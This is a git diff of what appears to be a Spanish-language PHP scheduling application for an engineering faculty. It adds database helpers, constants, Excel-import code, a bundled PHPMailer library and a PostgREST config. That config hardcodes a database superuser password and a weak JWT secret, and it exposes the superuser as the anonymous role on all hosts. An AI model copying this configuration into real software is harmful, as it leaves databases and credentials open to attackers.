\SeinopSys\PostgresDb; + +# Connect to the database +try { + // Postgres + $pdo = new PDO("pgsql:host=" . $_ENV['DB_HOST'] . ";dbname=" . $_ENV['DB_NAME'], $_ENV['DB_USER'], $_ENV['DB_PASS']); + $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + + $db = new PostgresDb(); + $db->setConnection($pdo); +} catch (PDOException $e) { + echo "Error: " . $e->getMessage(); +} + +// check recursivelly if the array has only empty strings +function is_response_empty($array) +{ + foreach ($array as $value) { + if (is_array($value)) { + if (!is_response_empty($value)) { + return false; + } + } else { + if (!empty($value)) { + return false; + } + } + } + return true; +} + +// SQL function +function query(string $sql, array $params = null, bool $single = true) +{ + global $pdo; + try { + $stmt = $pdo->prepare($sql); + $stmt->execute($params); + $response = $single ? $stmt->fetch(PDO::FETCH_ASSOC) : $stmt->fetchAll(PDO::FETCH_ASSOC); + + return $response; + } catch (PDOException $e) { + echo "Error: " . $e->getMessage(); + return false; + } finally { + $stmt->closeCursor(); + $stmt = null; + } +} + +function queryAll(string $sql, array $params = null) +{ + return query($sql, $params, false); +} + +function toSQLArray(array $array): string +{ + return sprintf("{%s}", implode(", ", $array)); +} diff --git a/include/constantes.php b/include/constantes.php new file mode 100644 index 0000000..81a554e --- /dev/null +++ b/include/constantes.php @@ -0,0 +1,146 @@ +'', + "menos"=>'', + "editar"=>'', + "borrar"=>'', + "borrar2"=>'', + "cancelar"=>'', + "buscar"=>'', + "descargar"=>'', + "cargar"=>'', + "ver"=>'', + "cambiar"=>'', + "circulo"=>'', + "aceptar"=>'', + "alerta"=>'', + "calendario"=>'', + "ojo"=>'', + "profesor"=>'', + + "lista"=>'', + "lista_check"=>'', + "abajo"=>'', + "arriba"=>'', + "izquierda"=>'', + "derecha"=>'', +]; +$ICO_LG =[ + "mas"=>'', + "menos"=>'', + "editar"=>'', + "borrar"=>'', + "borrar2"=>'', + "cancelar"=>'', + "buscar"=>'', + "descargar"=>'', + "cargar"=>'', + "ver"=>'', + "cambiar"=>'', + "circulo"=>'', + "aceptar"=>'', + "alerta"=>'', + "calendario"=>'', + "ojo"=>'', + "profesor"=>'', + + "lista"=>'', + "lista_check"=>'', + "abajo"=>'', + "arriba"=>'', + + /* + "insert"=>'', + "update"=>'', + "delete"=>'', + "search"=>'', + "insert_box"=>'', + "update_box"=>'', + "delete_box"=>'', + "error"=>'', + "error_circle"=>'', + "ok"=>'', + "ok_circle"=>'', + "list"=>'', + "circulo"=>'', + "question_circle"=>'', + "info_circle"=>'', + "square_check"=>'', + "square_empty"=>'', + "eraser"=>'',*/ +]; + +$ICO_RND =[ + "right"=>' + + + ', + "left"=>' + + + ', + "error"=>' + + + ', + "error_circle"=>' + + + ', + "ok_circle"=>' + + + ', + "ok"=>' + + + ', + "close"=>' + + + ', + "next"=>' + + + ', + "back"=>' + + + ', +]; + +//Sistemas registrados +define("APSA", 1); +define("GEMA", 2); +define("CIDIT", 3); +define("CONSTANCIA", 5); +define("EXPOING", 7); + +define("MAX_ROWS", 30); + +define("HORA_INICIO", 6);//hora inicial de horario +define("HORA_FINAL", 22);//hora final de horario +define("FRACCION_HORA", 4);//fracciones en una hora + +define("DURACION_MIN", 60);//hora inicial de horario +define("DURACION_MAX", 360);//hora final de horario +define("DURACION_STEP", 15);//fracciones en una hora + +define("FACULTAD", "Facultad de Ingeniería"); +//define("NOMBRE_DIRECTOR", "Ing. Edmundo G. Barrera Monsiváis"); + +define("PE_INI", "PE_INI$"); +define("PE_INI_Y", "PE_INI_Y$"); +define("PE_FIN", "PE_FIN$"); +define("PE_FIN_Y", "PE_FIN_Y$"); + +define("PR_INI", "PR_INI$"); +define("PR_INI_Y", "PR_INI_Y$"); +define("PR_FIN", "PR_FIN$"); +define("PR_FIN_Y", "PR_FIN_Y$"); + +define("EX_INI", "EX_INI$"); +define("EX_INI_Y", "EX_INI_Y$"); +define("EX_FIN", "EX_FIN$"); +define("EX_FIN_Y", "EX_FIN_Y$"); +?> \ No newline at end of file diff --git a/include/db/postgrest b/include/db/postgrest new file mode 100755 index 0000000..55339e5 Binary files /dev/null and b/include/db/postgrest differ diff --git a/include/db/postgrest.conf b/include/db/postgrest.conf new file mode 100644 index 0000000..5cfdcb4 --- /dev/null +++ b/include/db/postgrest.conf @@ -0,0 +1,20 @@ +# postgrest.conf + +# The standard connection URI format, documented at +# https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING +db-uri = "postgres://postgres:4ud1t0rf4lt4$$@localhost:5432/paad" + +# The database role to use when no client authentication is provided. +# Should differ from authenticator +db-anon-role = "postgres" + +# The secret to verify the JWT for authenticated requests with. +# Needs to be 32 characters minimum. +jwt-secret = "reallyreallyreallyreallyverysafe" +jwt-secret-is-base64 = false + +# Port the postgrest process is listening on for http requests +server-port = 3000 + +# the location root is /api +server-host = "*" diff --git a/include/fun_fecha.php b/include/fun_fecha.php new file mode 100644 index 0000000..baa85b3 --- /dev/null +++ b/include/fun_fecha.php @@ -0,0 +1,55 @@ +"enero", "febrero", "marzo", "abril", "mayo", "junio", "julio", "agosto", "septiembre", "octubre", "noviembre", "diciembre"); + return $meses[intval($num)]; +} + +function diaNombre($num){ + $dias=array("domingo", "lunes", "martes", "miércoles", "jueves", "viernes", "sábado"); + return $dias[intval($num)]; +} diff --git a/include/func_excel.php b/include/func_excel.php new file mode 100644 index 0000000..623510e --- /dev/null +++ b/include/func_excel.php @@ -0,0 +1,165 @@ + 1) { + $nombre .= $temp_nombre[1] . " "; + $grado = $temp_nombre[0] . "."; + array_shift($datos_nombre); + } else + $grado = strpos($datos_nombre[0], ".") !== false ? array_shift($datos_nombre) : null; + + $email = strpos($columna, "@") !== false ? array_pop($datos_nombre) : null; + $nombre .= implode(" ", $datos_nombre); + + return array( + "grado" => $grado, + "nombre" => trim($nombre), + "correo" => $email, + ); +} +### +function validar_columnas(object $sheet): void +{ + global $columnas; + $diff = array_diff(array_map(fn ($col) => trim($col), get_columns($sheet)), $columnas); + #array clean + if (!empty($diff)) { + $diff = array_filter($diff, fn ($col) => !empty($col)); + throw new Exception("Error en el formato del archivo: " . (empty($diff) ? "Columnas vacías" : "Columnas incorrectas: [" . implode(", ", $diff) . "]")); + } +} +### +function get_columns(object $sheet) +{ + global $columnas; + $columns = array(); + foreach ($sheet->getRowIterator(1, 1) as $row) + foreach ($row->getCellIterator() as $index => $cell) { + $columns[$index] = mb_strtoupper($cell->getValue() ?? ""); + if ($index == COLUMNA_MAXIMA) break; + } + return $columns; +} +### +function foreach_sheet(object $workbook, callable $callback = null): void +{ + + $sheets = $workbook->getSheetNames(); + // validate columns + foreach ($sheets as $sheet) { + $worksheet = $workbook->getSheetByName($sheet); + validar_columnas($worksheet); + foreach_register($worksheet, $callback, $sheet); + } +} +### +function foreach_register(object $worksheet, callable $callback = null, string $sheet): void +{ + foreach ($worksheet->getRowIterator(2) as $key => $row) { + $row_data = array(); + foreach ($row->getCellIterator() as $index => $cell) { + $row_data[] = str_replace(' ', '', $cell->getValue() ?? ""); + if ($index == COLUMNA_MAXIMA) break; + } + + if ($callback !== null) { + $callback($row_data, $key, $sheet); + } + } +} + +function horario(array &$row, int $fila, string $sheet): string +{ + global $cl, $db; + date_default_timezone_set('UTC'); + $horario_tostring = ""; + for ($i = HORARIO; $i < count($row) - 1; $i++) { + // echo $row[$i] . " $i\n"; + if (!empty(trim($row[$i] ?? ""))) { + $row[$i] = str_replace(array(" -", "- ", " - "), "-", $row[$i]); + $separar_por_espacios = EXPLODE(" ", trim(preg_replace('!\s+!', ' ', $row[$i]))); + foreach ($separar_por_espacios as $horario) { + $hora = // if string includes : then is string else is excel date + (strpos($horario, ":") === false) + ? \PhpOffice\PhpSpreadsheet\Shared\Date::excelToDateTimeObject($horario)->format('H:i') + : preg_replace('/[^0-9:]/', '', str_replace('.', ':', trim((strpos($horario, "-") !== false) ? explode("-", $horario)[0] : $horario))); + + if ( + $hora > "22:00" || $hora < "07:00" || explode(":", $hora)[1] % 15 !== 0 + ) { + throw new Exception("Error en el formato del archivo: Hora incorrecta [$hora] en la fila $fila, hoja $sheet."); + } + + $duración = end($row); + if ($duración <= 180 and $duración >= 30 and $duración % 15 == 0) + $bloques = $duración / 15; + else if ($duración <= 3 and $duración >= 0.5) + $bloques = $duración * 60 / 15; + else + throw new Exception("Error en el formato del archivo: Duración [$duración] incorrecta en la fila $fila, hoja $sheet."); + + $duraciónID = $db->where("duracion_bloques", $bloques)->get("duracion", 1, "duracion_id")[0]["duracion_id"]; + $horario_tostring .= ($i - 4) . ",$hora,$duraciónID;"; + } + } + } + + $row = array_combine($cl, array_intersect_key($row, array_keys($cl))); + $horario_tostring = substr($horario_tostring, 0, -1); + if (empty($horario_tostring)) + throw new Exception("Error en el formato del archivo: No se encontró horario en la fila $fila, hoja $sheet."); + + return $horario_tostring; +} + +function validar_registro(array $row, int $fila): void +{ + $tiene_horario = false; + for ($i = 0; $i < HORARIO - 1; $i++) + if (empty(trim($row[$i]))) + throw new Exception("Error faltan datos en la fila $fila de la hoja"); + + for ($i = HORARIO; $i < COLUMNA_MAXIMA; $i++) + if ($tiene_horario = !empty($row[$i])) + break; + + if (!$tiene_horario) + throw new Exception("Error en el formato del archivo: No se encontró horario en la fila $fila."); +} + + +function renglón_vacío(array $row) +{ + foreach ($row as $columna) + if (!empty($columna)) + return false; + + return true; +} diff --git a/include/func_string.php b/include/func_string.php new file mode 100644 index 0000000..7510b72 --- /dev/null +++ b/include/func_string.php @@ -0,0 +1,10 @@ + \ No newline at end of file diff --git a/include/phpmailer/PHPMailerAutoload.php b/include/phpmailer/PHPMailerAutoload.php new file mode 100644 index 0000000..60f9ad7 --- /dev/null +++ b/include/phpmailer/PHPMailerAutoload.php @@ -0,0 +1,50 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2014 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +/** + * PHPMailer SPL autoloader. + * @param string $classname The name of the class to load + */ +function PHPMailerAutoload($classname) +{ + //Can't use __DIR__ as it's only in PHP 5.3+ + $filename = dirname(__FILE__).DIRECTORY_SEPARATOR.'class.'.strtolower($classname).'.php'; + if (is_readable($filename)) { + require $filename; + } +} + +if (version_compare(PHP_VERSION, '5.1.2', '>=')) { + //SPL autoloading was introduced in PHP 5.1.2 + if (version_compare(PHP_VERSION, '5.3.0', '>=')) { + spl_autoload_register('PHPMailerAutoload', true, true); + } else { + spl_autoload_register('PHPMailerAutoload'); + } +} else { + /** + * Fall back to traditional autoload for old PHP versions + * @param string $classname The name of the class to load + */ + spl_autoload_register($classname); + /*function __autoload($classname) + { + PHPMailerAutoload($classname); + }*/ +} diff --git a/include/phpmailer/class.phpmailer.php b/include/phpmailer/class.phpmailer.php new file mode 100644 index 0000000..3cda98d --- /dev/null +++ b/include/phpmailer/class.phpmailer.php @@ -0,0 +1,3884 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2012 - 2014 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +/** + * PHPMailer - PHP email creation and transport class. + * @package PHPMailer + * @author Marcus Bointon (Synchro/coolbru) + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + */ +class PHPMailer +{ + /** + * The PHPMailer Version number. + * @var string + */ + public $Version = '5.2.14'; + + /** + * Email priority. + * Options: null (default), 1 = High, 3 = Normal, 5 = low. + * When null, the header is not set at all. + * @var integer + */ + public $Priority = null; + + /** + * The character set of the message. + * @var string + */ + public $CharSet = 'iso-8859-1'; + + /** + * The MIME Content-type of the message. + * @var string + */ + public $ContentType = 'text/plain'; + + /** + * The message encoding. + * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". + * @var string + */ + public $Encoding = '8bit'; + + /** + * Holds the most recent mailer error message. + * @var string + */ + public $ErrorInfo = ''; + + /** + * The From email address for the message. + * @var string + */ + public $From = 'root@localhost'; + + /** + * The From name of the message. + * @var string + */ + public $FromName = 'Root User'; + + /** + * The Sender email (Return-Path) of the message. + * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode. + * @var string + */ + public $Sender = ''; + + /** + * The Return-Path of the message. + * If empty, it will be set to either From or Sender. + * @var string + * @deprecated Email senders should never set a return-path header; + * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything. + * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference + */ + public $ReturnPath = ''; + + /** + * The Subject of the message. + * @var string + */ + public $Subject = ''; + + /** + * An HTML or plain text message body. + * If HTML then call isHTML(true). + * @var string + */ + public $Body = ''; + + /** + * The plain-text message body. + * This body can be read by mail clients that do not have HTML email + * capability such as mutt & Eudora. + * Clients that can read HTML will view the normal Body. + * @var string + */ + public $AltBody = ''; + + /** + * An iCal message part body. + * Only supported in simple alt or alt_inline message types + * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator + * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ + * @link http://kigkonsult.se/iCalcreator/ + * @var string + */ + public $Ical = ''; + + /** + * The complete compiled MIME message body. + * @access protected + * @var string + */ + protected $MIMEBody = ''; + + /** + * The complete compiled MIME message headers. + * @var string + * @access protected + */ + protected $MIMEHeader = ''; + + /** + * Extra headers that createHeader() doesn't fold in. + * @var string + * @access protected + */ + protected $mailHeader = ''; + + /** + * Word-wrap the message body to this number of chars. + * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. + * @var integer + */ + public $WordWrap = 0; + + /** + * Which method to use to send mail. + * Options: "mail", "sendmail", or "smtp". + * @var string + */ + public $Mailer = 'mail'; + + /** + * The path to the sendmail program. + * @var string + */ + public $Sendmail = '/usr/sbin/sendmail'; + + /** + * Whether mail() uses a fully sendmail-compatible MTA. + * One which supports sendmail's "-oi -f" options. + * @var boolean + */ + public $UseSendmailOptions = true; + + /** + * Path to PHPMailer plugins. + * Useful if the SMTP class is not in the PHP include path. + * @var string + * @deprecated Should not be needed now there is an autoloader. + */ + public $PluginDir = ''; + + /** + * The email address that a reading confirmation should be sent to, also known as read receipt. + * @var string + */ + public $ConfirmReadingTo = ''; + + /** + * The hostname to use in the Message-ID header and as default HELO string. + * If empty, PHPMailer attempts to find one with, in order, + * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value + * 'localhost.localdomain'. + * @var string + */ + public $Hostname = ''; + + /** + * An ID to be used in the Message-ID header. + * If empty, a unique id will be generated. + * @var string + */ + public $MessageID = ''; + + /** + * The message Date to be used in the Date header. + * If empty, the current date will be added. + * @var string + */ + public $MessageDate = ''; + + /** + * SMTP hosts. + * Either a single hostname or multiple semicolon-delimited hostnames. + * You can also specify a different port + * for each host by using this format: [hostname:port] + * (e.g. "smtp1.example.com:25;smtp2.example.com"). + * You can also specify encryption type, for example: + * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). + * Hosts will be tried in order. + * @var string + */ + public $Host = 'localhost'; + + /** + * The default SMTP server port. + * @var integer + * @TODO Why is this needed when the SMTP class takes care of it? + */ + public $Port = 25; + + /** + * The SMTP HELO of the message. + * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find + * one with the same method described above for $Hostname. + * @var string + * @see PHPMailer::$Hostname + */ + public $Helo = ''; + + /** + * What kind of encryption to use on the SMTP connection. + * Options: '', 'ssl' or 'tls' + * @var string + */ + public $SMTPSecure = ''; + + /** + * Whether to enable TLS encryption automatically if a server supports it, + * even if `SMTPSecure` is not set to 'tls'. + * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. + * @var boolean + */ + public $SMTPAutoTLS = true; + + /** + * Whether to use SMTP authentication. + * Uses the Username and Password properties. + * @var boolean + * @see PHPMailer::$Username + * @see PHPMailer::$Password + */ + public $SMTPAuth = false; + + /** + * Options array passed to stream_context_create when connecting via SMTP. + * @var array + */ + public $SMTPOptions = array(); + + /** + * SMTP username. + * @var string + */ + public $Username = ''; + + /** + * SMTP password. + * @var string + */ + public $Password = ''; + + /** + * SMTP auth type. + * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5 + * @var string + */ + public $AuthType = ''; + + /** + * SMTP realm. + * Used for NTLM auth + * @var string + */ + public $Realm = ''; + + /** + * SMTP workstation. + * Used for NTLM auth + * @var string + */ + public $Workstation = ''; + + /** + * The SMTP server timeout in seconds. + * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 + * @var integer + */ + public $Timeout = 300; + + /** + * SMTP class debug output mode. + * Debug output level. + * Options: + * * `0` No output + * * `1` Commands + * * `2` Data and commands + * * `3` As 2 plus connection status + * * `4` Low-level data output + * @var integer + * @see SMTP::$do_debug + */ + public $SMTPDebug = 0; + + /** + * How to handle debug output. + * Options: + * * `echo` Output plain-text as-is, appropriate for CLI + * * `html` Output escaped, line breaks converted to `
`, appropriate for browser output + * * `error_log` Output to error log as configured in php.ini + * + * Alternatively, you can provide a callable expecting two params: a message string and the debug level: + * + * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; + * + * @var string|callable + * @see SMTP::$Debugoutput + */ + public $Debugoutput = 'echo'; + + /** + * Whether to keep SMTP connection open after each message. + * If this is set to true then to close the connection + * requires an explicit call to smtpClose(). + * @var boolean + */ + public $SMTPKeepAlive = false; + + /** + * Whether to split multiple to addresses into multiple messages + * or send them all in one message. + * @var boolean + */ + public $SingleTo = false; + + /** + * Storage for addresses when SingleTo is enabled. + * @var array + * @TODO This should really not be public + */ + public $SingleToArray = array(); + + /** + * Whether to generate VERP addresses on send. + * Only applicable when sending via SMTP. + * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path + * @link http://www.postfix.org/VERP_README.html Postfix VERP info + * @var boolean + */ + public $do_verp = false; + + /** + * Whether to allow sending messages with an empty body. + * @var boolean + */ + public $AllowEmpty = false; + + /** + * The default line ending. + * @note The default remains "\n". We force CRLF where we know + * it must be used via self::CRLF. + * @var string + */ + public $LE = "\n"; + + /** + * DKIM selector. + * @var string + */ + public $DKIM_selector = ''; + + /** + * DKIM Identity. + * Usually the email address used as the source of the email + * @var string + */ + public $DKIM_identity = ''; + + /** + * DKIM passphrase. + * Used if your key is encrypted. + * @var string + */ + public $DKIM_passphrase = ''; + + /** + * DKIM signing domain name. + * @example 'example.com' + * @var string + */ + public $DKIM_domain = ''; + + /** + * DKIM private key file path. + * @var string + */ + public $DKIM_private = ''; + + /** + * Callback Action function name. + * + * The function that handles the result of the send email action. + * It is called out by send() for each email sent. + * + * Value can be any php callable: http://www.php.net/is_callable + * + * Parameters: + * boolean $result result of the send action + * string $to email address of the recipient + * string $cc cc email addresses + * string $bcc bcc email addresses + * string $subject the subject + * string $body the email body + * string $from email address of sender + * @var string + */ + public $action_function = ''; + + /** + * What to put in the X-Mailer header. + * Options: An empty string for PHPMailer default, whitespace for none, or a string to use + * @var string + */ + public $XMailer = ''; + + /** + * An instance of the SMTP sender class. + * @var SMTP + * @access protected + */ + protected $smtp = null; + + /** + * The array of 'to' names and addresses. + * @var array + * @access protected + */ + protected $to = array(); + + /** + * The array of 'cc' names and addresses. + * @var array + * @access protected + */ + protected $cc = array(); + + /** + * The array of 'bcc' names and addresses. + * @var array + * @access protected + */ + protected $bcc = array(); + + /** + * The array of reply-to names and addresses. + * @var array + * @access protected + */ + protected $ReplyTo = array(); + + /** + * An array of all kinds of addresses. + * Includes all of $to, $cc, $bcc + * @var array + * @access protected + * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc + */ + protected $all_recipients = array(); + + /** + * An array of names and addresses queued for validation. + * In send(), valid and non duplicate entries are moved to $all_recipients + * and one of $to, $cc, or $bcc. + * This array is used only for addresses with IDN. + * @var array + * @access protected + * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc + * @see PHPMailer::$all_recipients + */ + protected $RecipientsQueue = array(); + + /** + * An array of reply-to names and addresses queued for validation. + * In send(), valid and non duplicate entries are moved to $ReplyTo. + * This array is used only for addresses with IDN. + * @var array + * @access protected + * @see PHPMailer::$ReplyTo + */ + protected $ReplyToQueue = array(); + + /** + * The array of attachments. + * @var array + * @access protected + */ + protected $attachment = array(); + + /** + * The array of custom headers. + * @var array + * @access protected + */ + protected $CustomHeader = array(); + + /** + * The most recent Message-ID (including angular brackets). + * @var string + * @access protected + */ + protected $lastMessageID = ''; + + /** + * The message's MIME type. + * @var string + * @access protected + */ + protected $message_type = ''; + + /** + * The array of MIME boundary strings. + * @var array + * @access protected + */ + protected $boundary = array(); + + /** + * The array of available languages. + * @var array + * @access protected + */ + protected $language = array(); + + /** + * The number of errors encountered. + * @var integer + * @access protected + */ + protected $error_count = 0; + + /** + * The S/MIME certificate file path. + * @var string + * @access protected + */ + protected $sign_cert_file = ''; + + /** + * The S/MIME key file path. + * @var string + * @access protected + */ + protected $sign_key_file = ''; + + /** + * The optional S/MIME extra certificates ("CA Chain") file path. + * @var string + * @access protected + */ + protected $sign_extracerts_file = ''; + + /** + * The S/MIME password for the key. + * Used only if the key is encrypted. + * @var string + * @access protected + */ + protected $sign_key_pass = ''; + + /** + * Whether to throw exceptions for errors. + * @var boolean + * @access protected + */ + protected $exceptions = false; + + /** + * Unique ID used for message ID and boundaries. + * @var string + * @access protected + */ + protected $uniqueid = ''; + + /** + * Error severity: message only, continue processing. + */ + const STOP_MESSAGE = 0; + + /** + * Error severity: message, likely ok to continue processing. + */ + const STOP_CONTINUE = 1; + + /** + * Error severity: message, plus full stop, critical error reached. + */ + const STOP_CRITICAL = 2; + + /** + * SMTP RFC standard line ending. + */ + const CRLF = "\r\n"; + + /** + * The maximum line length allowed by RFC 2822 section 2.1.1 + * @var integer + */ + const MAX_LINE_LENGTH = 998; + + /** + * Constructor. + * @param boolean $exceptions Should we throw external exceptions? + */ + public function __construct($exceptions = false) + { + $this->exceptions = (boolean)$exceptions; + } + + /** + * Destructor. + */ + public function __destruct() + { + //Close any open SMTP connection nicely + if ($this->Mailer == 'smtp') { + $this->smtpClose(); + } + } + + /** + * Call mail() in a safe_mode-aware fashion. + * Also, unless sendmail_path points to sendmail (or something that + * claims to be sendmail), don't pass params (not a perfect fix, + * but it will do) + * @param string $to To + * @param string $subject Subject + * @param string $body Message Body + * @param string $header Additional Header(s) + * @param string $params Params + * @access private + * @return boolean + */ + private function mailPassthru($to, $subject, $body, $header, $params) + { + //Check overloading of mail function to avoid double-encoding + if (ini_get('mbstring.func_overload') & 1) { + $subject = $this->secureHeader($subject); + } else { + $subject = $this->encodeHeader($this->secureHeader($subject)); + } + if (ini_get('safe_mode') || !($this->UseSendmailOptions)) { + $result = @mail($to, $subject, $body, $header); + } else { + $result = @mail($to, $subject, $body, $header, $params); + } + return $result; + } + + /** + * Output debugging info via user-defined method. + * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug). + * @see PHPMailer::$Debugoutput + * @see PHPMailer::$SMTPDebug + * @param string $str + */ + protected function edebug($str) + { + if ($this->SMTPDebug <= 0) { + return; + } + //Avoid clash with built-in function names + if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { + call_user_func($this->Debugoutput, $str, $this->SMTPDebug); + return; + } + switch ($this->Debugoutput) { + case 'error_log': + //Don't output, just log + error_log($str); + break; + case 'html': + //Cleans up output a bit for a better looking, HTML-safe output + echo htmlentities( + preg_replace('/[\r\n]+/', '', $str), + ENT_QUOTES, + 'UTF-8' + ) + . "
\n"; + break; + case 'echo': + default: + //Normalize line breaks + $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); + echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( + "\n", + "\n \t ", + trim($str) + ) . "\n"; + } + } + + /** + * Sets message type to HTML or plain. + * @param boolean $isHtml True for HTML mode. + * @return void + */ + public function isHTML($isHtml = true) + { + if ($isHtml) { + $this->ContentType = 'text/html'; + } else { + $this->ContentType = 'text/plain'; + } + } + + /** + * Send messages using SMTP. + * @return void + */ + public function isSMTP() + { + $this->Mailer = 'smtp'; + } + + /** + * Send messages using PHP's mail() function. + * @return void + */ + public function isMail() + { + $this->Mailer = 'mail'; + } + + /** + * Send messages using $Sendmail. + * @return void + */ + public function isSendmail() + { + $ini_sendmail_path = ini_get('sendmail_path'); + + if (!stristr($ini_sendmail_path, 'sendmail')) { + $this->Sendmail = '/usr/sbin/sendmail'; + } else { + $this->Sendmail = $ini_sendmail_path; + } + $this->Mailer = 'sendmail'; + } + + /** + * Send messages using qmail. + * @return void + */ + public function isQmail() + { + $ini_sendmail_path = ini_get('sendmail_path'); + + if (!stristr($ini_sendmail_path, 'qmail')) { + $this->Sendmail = '/var/qmail/bin/qmail-inject'; + } else { + $this->Sendmail = $ini_sendmail_path; + } + $this->Mailer = 'qmail'; + } + + /** + * Add a "To" address. + * @param string $address The email address to send to + * @param string $name + * @return boolean true on success, false if address already used or invalid in some way + */ + public function addAddress($address, $name = '') + { + return $this->addOrEnqueueAnAddress('to', $address, $name); + } + + /** + * Add a "CC" address. + * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. + * @param string $address The email address to send to + * @param string $name + * @return boolean true on success, false if address already used or invalid in some way + */ + public function addCC($address, $name = '') + { + return $this->addOrEnqueueAnAddress('cc', $address, $name); + } + + /** + * Add a "BCC" address. + * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. + * @param string $address The email address to send to + * @param string $name + * @return boolean true on success, false if address already used or invalid in some way + */ + public function addBCC($address, $name = '') + { + return $this->addOrEnqueueAnAddress('bcc', $address, $name); + } + + /** + * Add a "Reply-To" address. + * @param string $address The email address to reply to + * @param string $name + * @return boolean true on success, false if address already used or invalid in some way + */ + public function addReplyTo($address, $name = '') + { + return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); + } + + /** + * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer + * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still + * be modified after calling this function), addition of such addresses is delayed until send(). + * Addresses that have been added already return false, but do not throw exceptions. + * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' + * @param string $address The email address to send, resp. to reply to + * @param string $name + * @throws phpmailerException + * @return boolean true on success, false if address already used or invalid in some way + * @access protected + */ + protected function addOrEnqueueAnAddress($kind, $address, $name) + { + $address = trim($address); + $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim + if (($pos = strrpos($address, '@')) === false) { + // At-sign is misssing. + $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new phpmailerException($error_message); + } + return false; + } + $params = array($kind, $address, $name); + // Enqueue addresses with IDN until we know the PHPMailer::$CharSet. + if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { + if ($kind != 'Reply-To') { + if (!array_key_exists($address, $this->RecipientsQueue)) { + $this->RecipientsQueue[$address] = $params; + return true; + } + } else { + if (!array_key_exists($address, $this->ReplyToQueue)) { + $this->ReplyToQueue[$address] = $params; + return true; + } + } + return false; + } + // Immediately add standard addresses without IDN. + return call_user_func_array(array($this, 'addAnAddress'), $params); + } + + /** + * Add an address to one of the recipient arrays or to the ReplyTo array. + * Addresses that have been added already return false, but do not throw exceptions. + * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' + * @param string $address The email address to send, resp. to reply to + * @param string $name + * @throws phpmailerException + * @return boolean true on success, false if address already used or invalid in some way + * @access protected + */ + protected function addAnAddress($kind, $address, $name = '') + { + if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) { + $error_message = $this->lang('Invalid recipient kind: ') . $kind; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new phpmailerException($error_message); + } + return false; + } + if (!$this->validateAddress($address)) { + $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; + $this->setError($error_message); + $this->edebug($error_message); + if ($this->exceptions) { + throw new phpmailerException($error_message); + } + return false; + } + if ($kind != 'Reply-To') { + if (!array_key_exists(strtolower($address), $this->all_recipients)) { + array_push($this->$kind, array($address, $name)); + $this->all_recipients[strtolower($address)] = true; + return true; + } + } else { + if (!array_key_exists(strtolower($address), $this->ReplyTo)) { + $this->ReplyTo[strtolower($address)] = array($address, $name); + return true; + } + } + return false; + } + + /** + * Parse and validate a string containing one or more RFC822-style comma-separated email addresses + * of the form "display name
